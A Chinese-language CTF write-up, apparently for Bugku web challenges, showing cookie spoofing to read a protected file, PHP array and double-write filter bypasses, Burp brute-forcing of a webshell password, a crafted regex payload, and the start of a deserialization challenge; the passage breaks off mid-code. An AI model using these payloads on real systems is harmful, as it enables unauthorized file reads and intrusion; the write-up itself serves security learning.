[TOC]
cookie
描述: cookies欺骗
进入题目之后我们可以看到这个题目的url
代码语言:javascript复制http://114.67.175.224:13933/index.php?line=&filename=a2V5cy50eHQ=
将a2V5cy50eHQ这个明显是Base64编码,进行解码知道是keys.txt,虽然不知道这个key.txt里面是什么,先复制出来。尝试用修改参数filename的值为index.php ,这个时候我们什么都看不到,
写一个脚本查下源代码
代码语言:javascript复制import requests
a=30
for i in range(a):
url="http://114.67.175.224:13933/index.php?line=" str(i) "&filename=aW5kZXgucGhw"
s=requests.get(url)
print (s.text)
接下来就是,分析源码了,这就进入了php
代码语言:javascript复制<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin')
{
$file_list[2]='keys.php';
}
if(in_array($file, $file_list))
{
$fa = file($file);
echo $fa[$line];
}
?>
hackbar里面就有cookie,虽然这个是在火狐里,直接开火狐,传一个margin=margin出去。查看源代码得到flag
各种绕过哟
这个还是属于php特性吧,sha()函数无法处理数组,这里我们可以直接构造数组,传进去就能得到flag……..
代码语言:javascript复制get:?uname[]=1&id=margin
post:passwd[]=2
备份是个好习惯
备份啊,估计bak文件吧……
代码语言:javascript复制include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
果然不是个签到啊,这样的话又回到了PHP特性的处理,还是可以通过数组进行绕过就能得到flag。
一开始没注意到过滤了key,这里可以使用双写绕过就是kekeyy在key被第一重的str_replace过滤之后我们仍然可以通过ke和y的拼接得到需要的key。
网站被黑
先拿御剑扫描下后台,发现一个shell.php的页面进去,就是后门…..没有其他提示了,到这里应该就说明了是需要用burp爆破密码了,直接在火狐里打开挂代理,抓包爆破一气呵成,找到了hack这个长度与其他的返回不同
输进去看下得到flag
字符?正则?
代码语言:javascript复制<?php
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
1.表达式直接写出来的字符串直接利用,如key 2.“.”代表任意字符 3.“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次 4.“/”代表“/” 5.[a-z]代表a-z中的任意一个字符 6.[[:punct:]]代表任意一个字符,包括各种符号 7./i代表大小写不敏感 8.{4-7}代表[0-9]中数字连续出现的次数是4-7次
好了这样就可以构造了
代码语言:javascript复制key@keykeykeykeykey:\\1keya@
BP
弱密码top1000?z?????
top1000的弱密码而且是以z开头的,这连burp都不用开了啊,开burp还需要时间,用Excel筛选,得出只有几个符合条件的密码,输入即可
newPHP
代码语言:javascript复制<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '